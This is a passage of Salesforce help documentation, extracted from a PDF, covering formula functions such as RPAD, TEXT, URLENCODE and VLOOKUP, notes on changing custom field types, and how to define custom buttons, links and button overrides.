ROUND(Amount-Amount* Discount_Percent__c,2)

Use this formula to calculate the discounted amount of an opportunity rounded off to two digits. This example is a number formula field on opportunities that uses a custom percent field called Discount Percent. Tips: Enter zero for num_digits to round a number to the nearest integer. Salesforce automatically rounds numbers based on the decimal places you specify. For example, a custom number field with two decimal places stores 1.50 when you enter 1.49999. Salesforce uses the round half-up rounding algorithm. Half-way values are always rounded up. For example, 1.45 is rounded to 1.5. 1.45 is rounded to 1.5. The decimal numbers displayed depend on the decimal places you selected when defining the field in the custom field wizard. The num_digits represents the number of digits considered when rounding.

RPAD Description: Use: Inserts characters that you specify to the right-side of a text string.
RPAD(text, padded_length[, 'pad_string']) and replace the variables:

text is the field or expression after which you want to insert characters. pad_length is the number of total characters in the text string that will be returned. pad_string is the character or characters that should be inserted. pad_string is

optional and defaults to a blank space. If the value in text is longer than pad_string, text is truncated to the size of padded_length. Example: Field Name: Padding Default
RPAD(Name, 20) truncates the Name field after 20 characters. For example, if the name is mycompany.com, the value returned is mycompany.com.

My_Company: No Change

1271

Customize

Operators and Functions

RPAD('my_company.com', 14, 'z') returns my_company.com without change

because it has 14 characters. Field Name: Padding with a Character


RPAD(Name, 15, 'z') returns mycompany.comz .

Field Name: Truncating


RPAD(Name, 2) truncates the name after the second character. For example, if the name is mycompany.com, the value returned is my.

Tips:

Ending blank spaces are omitted.

SQRT Description: Use: Example: Returns the positive square root of a given number.
SQRT(number) and replace number with the field or expression you want computed into a

square root.
SQRT(25)returns the square root of 25, which is 5.

Amplitude
SQRT(Amplitude__c) returns the square root of a custom number field representing the

amplitude of an earthquake. Tips: Calculating the square root of a negative number results in an error on the detail page. Avoid division by zero errors by including an IF function such as: IF(Amplitude__c >= 0, SQRT(Amplitude__c), null).

SUBSTITUTE Description: Use: Substitutes new text for old text in a text string.
SUBSTITUTE(text, old_text, new_text) and replace text with the field or value for which you want to substitute values, old_text with the text you want replaced, and new_text with the text you want to replace the old_text. SUBSTITUTE(Name, "Coupon", "Discount")returns the name of an opportunity that

Example:

contains the term Coupon with the opportunity name plus Discount wherever the term Coupon existed.
SUBSTITUTE(Email, LEFT(Email, FIND("@", Email)), "www.") finds the

location of the @ sign in a person's email address to determine the length of text to replace with a www. as a means of deriving their website address. Tips: Each term provided in quotes is case sensitive. If the old_text appears more than once, each occurrence is replaced with the new_text value provided even when that results in duplicates.

1272

Customize

Operators and Functions

TEXT Description: Converts a percent, number, date, date/time, or currency type field into text anywhere formulas are used. Also, converts picklist values to text in validation rules, formula fields, and field updates.
TEXT(value) and replace value with the field or expression you want to convert to text

Use:

format. Avoid using any special characters besides a decimal point (period) or minus sign (dash) in this function. Example: Expected Revenue in Text
TEXT(ExpectedRevenue) returns the expected revenue amount of an opportunity in text format without a dollar sign. For example, if the Expected Revenue of a campaign is

"$200,000," this formula field displays 200000. Asset ID


SerialNumber &"-"& TEXT(Quantity) returns an asset ID number starting with the serial number and ending with the quantity separated by a dash. The Serial Number field is already text but the Quantity field is a number, requiring the TEXT function before it.

Use Picklist Values in Math Equations


VALUE(LEFT(TEXT(Quantity), 5)) * Unit

This formula multiplies the first five numbers of the Quantity picklist by the Unit numeric field. Compare Two Picklists
IF(TEXT(bug_status) = TEXT(case_status), Match, Out of Sync)

This formula compares the values of the bug_status picklist with values of the case_status picklist. Display Picklist Values From Parent Records
TEXT(Account.Industry)

This formula field on opportunities shows the industry of the associated account. Concatenate Picklist Values
TEXT(Account.Industry) & " - " & TEXT(Account.SubIndustry__c)

This formula field on opportunities shows the industry and subindustry of the associated account. Validation Rule Examples: Block the Save of a Closed Opportunity
CONTAINS(TEXT(Status), "Closed") returns TRUE if the Status picklist contains

the value Closed, such as Closed Won and Closed Lost. This validation rule formula blocks users from saving changes to a closed opportunity. Use Numeric Functions on Numeric Picklist Values

1273

Customize

Operators and Functions

VALUE(LEFT(TEXT(Quantity), 5)) * Unit > 10000 multiplies the first five numbers of the Quantity picklist by the Unit numeric field, and returns TRUE if the result is greater

than 10,000. Directly Compare Two Picklists


TEXT(bug_status) = TEXT(case_status) compares the values of the bug_status

picklist with values of the case_status picklist, and returns TRUE if they are equal. Tips: The returned text is not formatted with any currency, percent symbols, or commas. Values are not sensitive to locale. For example, 24.42 EUR are converted into the number 24.42. Percents are returned in the form of a decimal. Dates are returned in the form of YYYY-MM-DD, that is, a four-digit year and two-digit month and day. Date/time values are returned in the form of YYYY-MM-DD HH:MM:SSZ where YYYY is a four-digit year, MM is a two-digit month, DD is a two-digit day, HH is the two-digit hour, MM are the minutes, SS are the seconds, and Z represents the zero meridian indicating the time is returned in UTC time zone. Picklist fields are only supported in TEXT functions used in validation rule formulas, formula fields, and field updates. In other formulas, use ISPICKVAL or CASE when referencing a picklist field. The TEXT function always returns picklist values in your organization's master language, not the language of the current user.

TODAY Description: Use: Example: Validation Rule Example:


SampleDate < TODAY()

Returns the current date as a date data type.


TODAY() TODAY()-Sample_date_c calculates how many days in the sample are left.

This example ensures that users cannot change the Sample Date to any date in the past. Tips: Do not remove the parentheses. Keep the parentheses empty. They do not need to contain a value. Use a date field with a TODAY function instead of a date/time field. Last Activity Date is a date field whereas Created Date and Last Modified Date are date/time fields. See NOW if you prefer to use a date/time field. Dates and times are always calculated using the users time zone. Use addition and subtraction operators with a TODAY function and other date fields to return a number, representing number of days. For example TODAY()-LastActivityDate calculates the number of days since the last activity date. In this example, the formula field data type is a number.

1274

Customize

Operators and Functions

Use addition and subtraction operators with a TODAY function and numbers to return a date. For example TODAY() +5 calculates the date five days ahead of today. In this example, the formula field data type is a date.

TRIM Description: Use: Example: Removes the spaces and tabs from the beginning and end of a text string.
TRIM(text) and replace text with the field or expression you want to trim. TRIM(LEFT(LastName,5))& "-" & RIGHT(FirstName, 1) returns a network ID

for users that contains the first five characters of their last name and first character of their first name separated by a dash.

UPPER Description: Use: Converts all letters in the specified text string to uppercase. Any characters that are not letters are unaffected by this function. Locale rules are applied if a locale is provided.
UPPER(text, [locale]) and replace text with the field or expression you wish to convert to uppercase, and locale with the optional two-character ISO language code or five-character

locale code, if available. For information on supported languages, see What languages does Salesforce support? on page 3729. Example: MYCOMPANY.COM
UPPER("mycompany.com") returns MYCOMPANY.COM.

MYCOMPANY.COM 123
UPPER("Mycompany.com 123") returns MYCOMPANY.COM 123.

Applying Turkish Language Locale Rules The Turkish language has two versions of the letter i: one dotted and one dotless. The locale rules for Turkish require the ability to capitalize the dotted i, and allow the dotless I to be lowercase. To correctly use the UPPER() function with the Turkish language locale, use the Turkish locale code tr in the UPPER() function as follows:
UPPER(text, "tr")

This ensures that any dotted i in the text does not transform to a dotless I.

URLENCODE Description: Encodes text and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank spaces are replaced with %20, and exclamation points are replaced with %21.
{!URLENCODE(text)} and replace text with the merge field or text string that you want

Use:

to encode.

1275

Customize

Operators and Functions

Example: Tips:

If the merge field foo__c contains <B>Mark's page<b>, {!URLENCODE(foo_c)} results in: %3CB%3EMark%27s%20page%3C%2Fb%3E This function is only available in custom buttons and links. Custom buttons and links with URL content sources have separate encoding settings. If you use the URLENCODE function to encode a custom button or link that has an encoding setting specified, Salesforce first encodes the URL according to the custom button or link setting, then encodes the result. For example, if the URL in a custom link contains a space and its encoding setting is UTF8, Salesforce first encodes the space to a plus sign (+), then the URLENCODE function converts the plus sign to its character code, %2B. When you include the standard Account field on opportunities (Opportunity.Account) in the URLENCODE function, the value of the field is the account ID, not the account name. To encode the account name, create a custom cross-object formula field on opportunities that spans to the account name, and use that field in the URLENCODE function instead of Opportunity.Account. For example, if the cross-object formula is AccountNameFormula__c, use the following:
http://www.google.com/search?q={!URLENCODE (Opportunity.AccountNameFormula__c)}

URLFOR Description: Use: Returns a relative URL for an action, s-control, Visualforce page, or a file in a static resource archive in a Visualforce page.
{!URLFOR(target, id, [inputs], [no override])} and replace target with the URL or action, s-control, or static resource merge variable, id with a reference to the record, and inputs with any optional parameters. The no override argument is also optional

and defaults to false. It applies to targets for standard Salesforce pages such as $Action.Account.New. Replace no override with true when you want to display a standard Salesforce page regardless of whether you have defined an override for it elsewhere. To access a Visualforce page, simple enter the name of your page preceeded by an apex/. For example, if your Visualforce page is named myTestPage, you would use {!URLFOR("apex/myTestPage"}. Visualforce Example:
<apex:image url="{!URLFOR($Resource.TestZip, 'images/Bluehills.jpg')}" width="50" height="50"/>

In this example, the <apex:image> component references a .jpg file contained within a .zip file that has been uploaded as a static resource. When uploaded, the name of the static resource was defined as TestZip, and the path to the image within the resource is images/Bluehills.jpg. Tips: Use global variables to access special merge fields for actions, s-controls, and static resources. If an input parameter name begins with any character other than a letter or dollar sign ($), enclose it in quotation marks.

1276

Customize

Operators and Functions

Enclose multiple inputs in brackets to indicate they are together:


{!URLFOR($Action.Case.View, Case.Id, [parm1="A", parm2="B"])}

Set inputs to null if you do not have any to pass yet you want to set the no override argument:
{!URLFOR($Action.Case.View, Case.Id, null, true)}

When you override a standard action, that action is no longer available in Salesforce. For example, if you override the new account action, that affects the New button on all pages such as the account detail page, account related lists on other detail pages, and the Create New drop down list in the sidebar. To override a standard action yet still access it, use the no override argument in your s-control to reference that action. When you override the tab home page for a standard or custom tab, set target to the Tab $Action global variable and id to the object type. For example,
URLFOR($Action.Account.Tab, $ObjectType.Account)

This function is only available in custom buttons, links, s-controls, and Visualforce pages.

VALUE Description: Use: Example: Converts a text string to a number.


VALUE(text) and replace text with the field or expression you want converted into a

number. Lead Number


VALUE(Lead_Number__c) returns a number for the text value in the auto-number field Lead Number. This can be useful if you want to use the Lead Number field in a calculation.

Note that auto-number fields are actually text fields and must be converted to a number for numeric calculations. Round Robin Lead Assignment
MOD(VALUE(Lead_Number__c), 3)

This formula is for a custom formula field named Round_Robin_ID that assigns each lead a value of 0, 1, or 2. This formula uses a custom auto-number field called Lead Number that assigns each lead a unique number starting with 1. The MOD function divides the lead number by the number of lead queues available (three in this example) and returns a remainder of 0, 1, or 2. Use the value of this formula field in your lead assignment rules to assign lead records to different queues. For example: Tips: Round_Robin_ID = 0 is assigned to Queue A Round_Robin_ID = 1 is assigned to Queue B Round_Robin_ID = 2 is assigned to Queue C

Make sure the text in a VALUE function does not include any special characters other than a decimal point (period) or minus sign (dash). For example, the formula VALUE(Text_field__c) produces these results: If Text field is 123, the result is 123

1277

Customize

Operators and Functions

If Text field is blank, the result is #Error! If Text field is $123, the result is #Error! If Text field is EUR123, the result is #Error!

VLOOKUP Description: Use: Returns a value by looking up a related value on a custom object similar to the VLOOKUP() Excel function.
VLOOKUP(field_to_return, field_on_lookup_object, lookup_value) and replace field_to_return with the field that contains the value you want returned, field_on_lookup_object with the field on the related object that contains the value you want to match, and lookup_value with the value you want to match.

Validation Rule Example:

This example checks that a billing postal code is valid by looking up the first five characters of the value in a custom object called Zip_Code__c that contains a record for every valid zip code in the US. If the zip code is not found in the Zip_Code__c object or the billing state does not match the corresponding State_Code__c in the Zip_Code__c object, an error is displayed.
AND( LEN(BillingPostalCode) > 0, OR(BillingCountry = "USA", BillingCountry = "US"), VLOOKUP( $ObjectType.Zip_Code__c.Fields.State_Code__c, $ObjectType.Zip_Code__c.Fields.Name, LEFT(BillingPostalCode,5)) <> BillingState )

Note: Use this example when the billing country is US or USA. You can download US zip codes in CSV file format from http://zips.sourceforge.net.

Tips:

The field_to_return must be an auto number, roll-up summary, lookup relationship, master-detail relationship, checkbox, date, date/time, email, number, percent, phone, picklist, text, text area, or URL field type. The field_on_lookup_object must be the Record Name field on a custom object. The field_on_lookup_object and lookup_value must be the same data type. If more than one record matches, the value from the first record is returned. The value returned must be on a custom object. You cannot delete the custom field or custom object referenced in this function. This function is only available in validation rules.

1278

Customize

Changing Custom Field Type

YEAR Description: Use: Example: Returns the four-digit year in number format of a given date.
YEAR(date) and replace date with the field or expression that contains the year you want

returned.
YEAR(TODAY())- YEAR(Initial_Meeting__c) returns the number of years since your initial meeting with a client. This example uses a custom date field called Initial Meeting.

See Also:
Examples of Advanced Formula Fields About Formulas Building Formulas

Changing Custom Field Type


Available in: All Editions Standard Objects are not available in Database.com

User Permissions Needed To change custom fields: Customize Application

To change the data type of an existing custom field: 1. For standard objects, click Your Name > Setup > Customize, select the appropriate object, and click Fields. 2. For fields on Salesforce Knowledge article types, click Your Name > Setup > Customize > Knowledge > Article Types and select an article type. The article-type detail page has a Fields related list. 3. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. 4. Click Edit next to the custom field you want to change. 5. Click Change Field Type. 6. Select a new data type and click Next. 7. Enter a field label, name, any other attributes, and click Save. For more information, see Notes on Changing Custom Field Types on page 1280.

See Also:
Notes on Changing Custom Field Types About Roll-Up Summary Fields

1279

Customize

Changing Custom Field Type

Notes on Changing Custom Field Types


Consider the following before converting fields: Only convert custom fields for which no data exists or you risk losing your data. Changing the data type of an existing custom field can cause data loss in the following situations: Changing to or from type Date or Date/Time Changing to Number from any other type Changing to Percent from any other type Changing to Currency from any other type Changing from Checkbox to any other type Changing from Picklist (Multi-Select) to any other type Changing to Picklist (Multi-Select) from any other type Currently defined picklist values are retained when you change a picklist to a multi-select picklist. If records contain values that are not in the picklist definition, those values will be deleted from those records when the data type changes. Changing from Auto Number to any other type Changing to Auto Number from any type except Text Changing from Text Area (Long) to any type except Email, Phone, Text, Text Area, or URL If data is lost, any list view based on the custom field will be deleted, and assignment and escalation rules may be affected. If you change the data type of any custom field that is used for lead conversion, that lead field mapping will be deleted. If you change the data type of a custom field that is set as an external ID, choosing a data type other than text, number, or email will cause the field to no longer act as an external ID. The option to change the data type of a custom field is not available for all data types. For example, existing custom fields cannot be converted into encrypted fields nor can encrypted fields be converted into another data type. In Salesforce Knowledge article types, the file field type can't be converted into other data types. You cannot change the data type of a custom field that is referenced by a Visualforce page. For descriptions of other attributes you can set, see Custom Field Attributes on page 1099. Changing a custom field type may require changing a large number of records at once. To process these changes efficiently, your request may be queued and you may receive an email notification when the process has completed. Before changing a custom field's type, make sure that it isn't the target of a workflow field update or referenced in a field update formula that would be invalidated by the new type.

The following data types have additional restrictions when you convert them: Data Type Auto Number Description The data in any auto-number field remains unchanged if you convert it into a text field. Also, you can safely convert a text custom field into an auto-number field without losing your data. Converting an auto-number field into any other data type results in data loss. Auto-number fields can contain a maximum of 30 characters. Before converting a text custom field into an auto-number field, change any records that contain more than 30 characters in that field.

1280

Customize

Changing Custom Field Type

Data Type Formula

Description Formula fields are special read-only fields that cannot be converted to any other data type. Likewise, you cannot convert any other field type into a formula field. Changing your custom picklists into custom checkboxes is simple. If you select Checkbox as the new data type, you can choose which picklist values to map to checked boxes and unchecked boxes. You can change custom picklists into multi-select picklists without losing any data. Since your records only contain a single value of that picklist, that value will still be selected but users can select additional values. You can also change a picklist custom field into a text custom field or a text custom field into a picklist custom field without any data loss. If your organization has a large number of records, Salesforce displays a waiting page after you have requested to change a master-detail into a lookup relationship or a lookup into a master-detail relationship. After you have created a roll-up summary field on an object, you cannot convert the object's master-detail relationship into a lookup relationship. A lookup cannot be converted to a master detail relationship if there are any existing records on the object that have a null value set for the lookup relationship.

Picklist

Relationships

Text Area (Long)

When you convert a long text area field to an Email, Phone, Text, Text Area, or URL type field, the data in your records is truncated to the first 255 characters of the field. You can only convert rich text area fields into long text area fields. Any images are deleted the next time the long text area field is saved. After converting, markup is hidden in the long text area field but it is not removed from the record until you save the record. That way, the markup can be restored if you change your mind.

Text Area (Rich)

Note: You cannot change the data type of a custom field if it is referenced in Apex. For more information, see Apex Code Overview on page 2086.

See Also:
Custom Field Attributes

1281

Customize

Understanding Custom Buttons and Links

Understanding Custom Buttons and Links


Available in: All Editions except Database.com

User Permissions Needed To create or change custom buttons and links: Customize Application

Create custom buttons and links to integrate Salesforce data with external URLs, applications, your companys intranet, or other back-end office systems. Custom links can link to: An external URL, such as www.google.com or your companys intranet. A custom s-control in the custom s-control library, such as a Java applet or Active-X control.

Custom buttons can: Connect users to external applications, such as a web page that displays a map to a contact's address. Run an s-control from the s-control library, such as an s-control that escalates a case from the case detail page. Launch custom links.

For both custom links and buttons, you can choose the display window properties that determine how the target of a link or button is displayed to your users. Custom links and s-controls can include Salesforce fields as tokens within the URL or custom s-control. For example, you could include an account name in a URL that searches Yahoo. http://search.yahoo.com/bin/search?p={!Account_Name}. In addition, s-controls can include operators and functions. You can override the default action of some standard buttons and customize the behavior of tab home pages to suit your organization's needs. See Overriding Standard Buttons and Tab Home Pages.

See Also:
Defining Custom Buttons and Links Adding Default Custom Links About S-Controls Administrator tip sheet: Building Salesforce Custom Links

1282

Customize

Understanding Custom Buttons and Links

Defining Custom Buttons and Links


Custom buttons and links are available in: All Editions except Database.com Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change custom buttons or links: Customize Application

Before creating a custom button or link, determine what action you want to occur when a user clicks it. Consider a Visualforce page if you want the button or link to launch a custom page or other code. 1. Navigate to the appropriate buttons and links page. For standard objects, click Your Name > Setup > Customize, select the object or tab link you want and click Buttons and Links. Custom buttons arent available on the user object or custom home pages. Custom buttons and links are available for activities under the individual setup links for tasks and events. However, you can override a button that applies to both tasks and events by clicking Your Name > Setup > Customize > Activities > Activity Buttons. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

2. In the Custom Buttons and Links section, click New to define a new custom button or link. Alternatively, click Default Custom Links to add a predefined custom link. 3. Enter the button or link attributes. 4. To validate all Salesforce merge fields and functions, click Check Syntax. 5. Click Save when you are finished or click Quick Save to save and continue editing. To view the specified URL, click Preview. To quit without saving your content, click Cancel.

6. Optionally, to open the button or link using settings other than the user's default browser settings, click Window Open Properties. See Editing Window Open Properties. 7. Edit the page layout for the appropriate tab or search layout to display the new button or link. Custom links for users are automatically added to the Custom Links section of the user detail page. Detail page buttons can be added to the Button section of a page layout only. 8. To view all references to the new button or link, click Where is this used?

1283

Customize

Understanding Custom Buttons and Links

Note: The Link URL can be up to 3000 bytes. When data is substituted for the tokens in the URL, the link may exceed 3000 bytes. Your browser may enforce additional limits for the maximum URL length.

See Also:
Custom Button Considerations Viewing References to Salesforce Components Useful Custom Buttons and Links Editing Window Open Properties Adding Default Custom Links Overriding Standard Buttons and Tab Home Pages

Custom Buttons and Links Fields


Custom buttons and links are available in: All Editions except Database.com Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Attribute Name
Label Name

Description The text that displays on user pages for the custom button or link. The unique name for the button or link used when referenced from a merge field.This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your package and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive. For example, ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all Salesforce organizations. It keeps your managed package under your control exclusively. Protected components cant be linked to or referenced by components created in a subscriber organization. A developer can delete a protected component in a future release without worrying about failing installations. However, once a component is marked as unprotected and is released globally, the developer cant delete it. The text that distinguishes the button or link from others. This displays only to administrators when setting up buttons and links. Determines where the button or link is available on page layouts. Detail Page Link Select this option to add the link to the Custom Links section of your page layouts.

Namespace Prefix

Protected Component

Description

Display Type

1284

Customize

Understanding Custom Buttons and Links

Attribute Name

Description Detail Page Button Select this option to add the custom button to a record's detail page. You can add detail page buttons to the Button section of a page layout. List Button Select this option to add the custom button to a list view, search result layout, or related list. You can add list buttons to the Related List section of a page layout or the List View and Search Result layouts. For list buttons, Salesforce automatically selects Display Checkboxes (for Multi-Record Selection) that includes a checkbox next to each record in the list, allowing users to select the records they want applied to the action on the list button. Deselect this option if your custom button does not require the user to select records such as one that quickly navigates the user to another page.

Behavior

Choose the outcome of clicking the button or link. When applicable, some settings have default values. For example, if you choose Display in new window, the default height of a new window is 600 pixels. See Editing Window Open Properties.

Content Source

Choose whether to use a URL, s-control, JavaScript action, or Visualforce page as the content of the button or link. To use an s-control, choose Custom S-Control and select the s-control from the drop-down list. To use a URL, select URL and enter the link in the text area box exactly as it would appear in the address bar of a Web browser. To execute JavaScript code when the button or link is activated, select OnClick JavaScript and enter the code in the text area box. To use a Visualforce page, select Visualforce Page and choose the page from the drop-down list. Note: Visualforce pages used as custom links on the home page cannot specify a controller. Visualforce pages used as custom buttons or links on detail pages must specify a standard controller of the same object. Visualforce pages used as custom list buttons must use a standard list controller of the same object.

Content

Enter the content of the button or link for buttons and links of type URL or OnClick JavaScript. To insert a field, choose the field type from Select Field Type and choose a field from Insert Field. To insert activity merge fields, select Event or Task from Select Field Type. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the examples in Operators and Functions. To insert a function, double-click its name in the list, or select it and click Insert Selected Function. To filter the list of functions, choose a category from the Functions drop-down list. Select a function and click Help on this function to view a description and examples of formulas using that function.

1285

Customize

Understanding Custom Buttons and Links

Attribute Name

Description Tip: Internet standards require special encoding for URLs.Salesforce automatically encodes the text from any merge field you insert into a link. Encode any additional text in your link manually. For example, to generate the following URL:
http://www.google.com/search?q={!user.name} Steve Mark 50%

Use this content:


http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce automatically strips double quotes from URLs when the Content Source is URL. If you need to use double quotes, encode them manually. For example, to generate the URL http://www.google.com/search?q="salesforce+foundation", use this content:
http://www.google.com/search?q=%22salesforce+foundation%22.

Link Encoding

Encoding setting that defaults to Unicode (UTF-8). Change the default encoding setting if the target of a link requires data in a different format. This is available if your Content Source is URL.

Editing Window Open Properties


Available in: All Editions except Database.com S-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit custom button or link properties: Customize Application

Custom buttons and links can open in different types of windows. If you have selected a custom button or link to open in a popup window, set the window properties. If you leave the window properties blank, the custom button or link will use the default settings of the users browser. To edit the window open properties: 1. Select the custom button or link by clicking Your Name > Setup > Customize, selecting the appropriate tab or users link, clicking Buttons and Links, and selecting the button or link name. Custom buttons are not available on the user object. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list. 2. Click Window Open Properties. 3. Edit the following properties:

1286

Customize

Understanding Custom Buttons and Links

Window Property
Width Height Window Position Resizeable Show Address Bar Show Scrollbars Show Toolbars

Description The width (in pixels) of the popup. The height (in pixels) of the popup. The location on the screen where the popup should open. Allow users to resize the popup window. Show the browsers address bar which contains the URL. Show browser scrollbars for the popup. Show the browser toolbars. Toolbars normally contain navigation buttons like Back, Forward, and Print. Show the browser menus. The menus typically contain option like File and Edit. Show the status bar at the bottom of the browser.

Show Menu Bar

Show Status Bar

Note: Some properties may not be available depending on the Behavior of the custom button or link. For example, if you chose Execute JavaScript, no window open properties are available.

See Also:
Defining Custom Buttons and Links

Merge Fields for Custom Buttons and Links


Custom buttons and links are available in: All Editions except Database.com Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Merge fields serve as placeholders for data that will be replaced with information from your records, user information, or company information. Syntax and Formatting When you insert a merge field in a custom button or link, the syntax consists of an open curly brace and exclamation point, followed by the object name, a period, the field name and a closing curly brace.
{!Object_Name.Field_Name}

To ensure that youre using the correct syntax, select merge fields from the drop-down list in the editor for custom buttons and links. For a full list of applicable fields, see Custom Buttons and Links Fields on page 1284.

1287

Customize

Understanding Custom Buttons and Links

Tips To insert activity merge fields, select Event or Task from the Select Field Type drop-down list. You can add links quickly to the sidebar by using the standard home pages Custom Links component. Warning: The standard home pages Custom Links component doesnt support Merge fields Functions, such as URLFOR JavaScript execution Customizable window opening properties

See Also:
Merge Fields Overview Defining Custom Buttons and Links Custom Button Considerations Understanding Global Variables

Custom Button Considerations


Custom buttons and links are available in: All Editions except Database.com Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change custom buttons or links: Customize Application

Custom buttons display at the top and bottom of the detail page to the right of all standard buttons. You can include s-controls in any field section on your page layout to display the s-control content inline without requiring users to click a button or link to see it. Simply edit the page layout, choose the s-control, and drag it to any section on the page layout. If your custom link references a URL, create a custom s-control that references that URL so you can include the s-control directly on your page layout. Custom buttons arent distinguished from standard buttons in any graphical way. However, you can recognize them by their location on the right of all standard buttons. If the button bar gets too wide on the detail page layout, the browser displays a horizontal scroll bar. If the button bar gets too wide on the list view, search result, tagging result, or related list layouts, the buttons wrap. Custom buttons are available for activities under the individual setup links for tasks and events. To add a custom button to an activity list view or search layout, first create a custom list button in tasks or events. Next, add it to your activity list view or search result layouts. You can override a button that applies to both tasks and events. See Defining Custom Buttons and Links. Custom buttons arent available for Web-to-Lead, Web-to-Case, the Case Teams related list, or the user object.

1288

Customize

Understanding Custom Buttons and Links

Your person account records use the custom buttons and links you have made for accounts. Use the person account page layouts to edit custom links or detail page buttons for person account records. To customize the list view or search result layouts for person accounts, edit the account list view and search result layouts where you access account search layouts. If your organization uses the Console tab, list buttons are available in Mass Action. List buttons wont display in the mini page layouts. Pages that display due to custom buttons and links display in the console without the header or sidebar. If you get an error message when overriding a button that appears in a list, try calling the s-control using the URLFOR function. When creating custom buttons, be aware of any validation rules your organization has for records on that object. For example, a custom list button that changes case status may conflict with a case validation rule. In this scenario, Salesforce displays the error message for the validation rule when users click the custom button. To replace a standard button with a custom button, first define the custom button, then customize the page layout to hide the standard button and display the custom one in its place. See Customizing Page Layouts. Use formula functions in s-controls or custom buttons with caution. Because functions run on the server before your HTML or JavaScript is passed to the browser, they can only evaluate information that exists at that time. Avoid using functions like IF to evaluate conditions that only exist when the code reaches the browser, such as the value of a JavaScript variable that is returned from your code. To prevent a user from performing a particular action, such as creating or editing, change the user's permissions rather than hiding the standard button. Hiding a standard button removes it from a page layout but the link is still available and users can navigate to the new or edit page manually. Use global variables to access special merge fields for components like custom buttons, links, and s-controls. For example, the $Request global variable allows you to access query parameters inside a snippet, s-control, or custom button. To insert activity merge fields, select Event or Task from Select Field Type. Dont select Display Checkboxes (for Multi-Record Selection) for list buttons that link to a URL that doesnt support post operations. Checkboxes display next to records in a list if you have selected Display Checkboxes (for Multi-Record Selection) for at least one list button in that list. However, selected records in this list are unaffected when clicking a custom list button that doesnt have this option selected.

See Overriding Standard Buttons and Tab Home Pages.

See Also:
Defining Custom Buttons and Links Useful Custom Buttons and Links

Adding Default Custom Links


Available in: All Editions except Database.com

User Permissions Needed To create or change custom links: Customize Application

1. Select Your Name > Setup > Customize, select the appropriate tab link, and choose Buttons and Links. 2. Click Default Custom Links. 3. Next to a sample link you want to add, click Add Now!.

1289

Customize

Understanding Custom Buttons and Links

4. Change the default data for the link, as necessary. 5. Choose Save. 6. Edit the page layout for the appropriate tab to display the new link.

See Also:
Defining Custom Buttons and Links

Overriding Standard Buttons and Tab Home Pages


Available in: Enterprise, Unlimited, and Developer Editions Visualforce overrides also available in: Contact Manager, Group, and Professional Editions

User Permissions Needed To override standard buttons and tab home pages: To reset button and tab home page overrides: Customize Application Customize Application

Salesforce lets you override the behavior of standard buttons on record detail pages. In addition, you can override the tab home page that displays when a user clicks a standard or custom object tab. 1. Before you override a standard button, review the considerations for overriding standard buttons. 2. Navigate to the appropriate override page. For standard objects, click Your Name > Setup > Customize, select the appropriate object or tab link, then click Buttons and Links. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

In the Standard Buttons and Links related list, click Edit next to the button or tab home page you want to override. Note: Since events and tasks don't have their own tabs, you can only override their standard buttons and links.

3. Pick the type of override you want associated with the action. No Override (use default)Use a custom override provided by an installed package. If there isn't one installed, the standard Salesforce behavior is used. Standard Salesforce PageThis option is available only for subscribers who are overriding the actions on an installed custom object. If selected, the standard Salesforce behavior is used. Custom S-ControlUse the behavior from an s-control. S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. Visualforce PageUse the behavior from a Visualforce page.

4. Select the name of the s-control or Visualforce page you want to run when users click the button or tab.

1290

Customize

Understanding Custom Buttons and Links

When overriding buttons with a Visualforce page, only Visualforce pages that use the standard controller for the object on which the button appears can be selected. For example, if you want to use a page to override the Edit button on accounts, the page markup must include the standardController="Account" attribute on the <apex:page> tag:
<apex:page standardController="Account"> ... page content here ... </apex:page>

When overriding tabs with a Visualforce page, only Visualforce pages that use the standard list controller for that tab, pages with a custom controller, or pages with no controller can be selected. When overriding lists with a Visualforce page, only Visualforce pages that use a standard list controller can be selected. When overriding the New button with a Visualforce page, you also have the option to skip the record type selection page. If selected, any new records you create won't be forwarded to the record type selection page, since it assumes that your Visualforce page is already handling record types. 5. Optionally, enter any comments to note the reason for making this change. 6. Click Save. Button overrides are global throughout Salesforce because overrides control the action behind the button. For example, if you override the New button on opportunities, your replacement action takes effect wherever that action is available. The Oopportunities home page. Any opportunities related lists on other objects such as accounts. The Create New drop-down list in the sidebar. Any browser bookmarks for this Salesforce page.

See Also:
Removing Overrides for Standard Buttons and Tab Home Pages Useful S-Controls Defining Custom Buttons and Links

Considerations for Overriding Standard Buttons


Available in: Enterprise, Unlimited, and Developer Editions Visualforce overrides also available in: Contact Manager, Group, and Professional Editions

User Permissions Needed To override standard buttons: Customize Application

Before you override a standard button, review the following considerations:

1291

Customize

Understanding Custom Buttons and Links

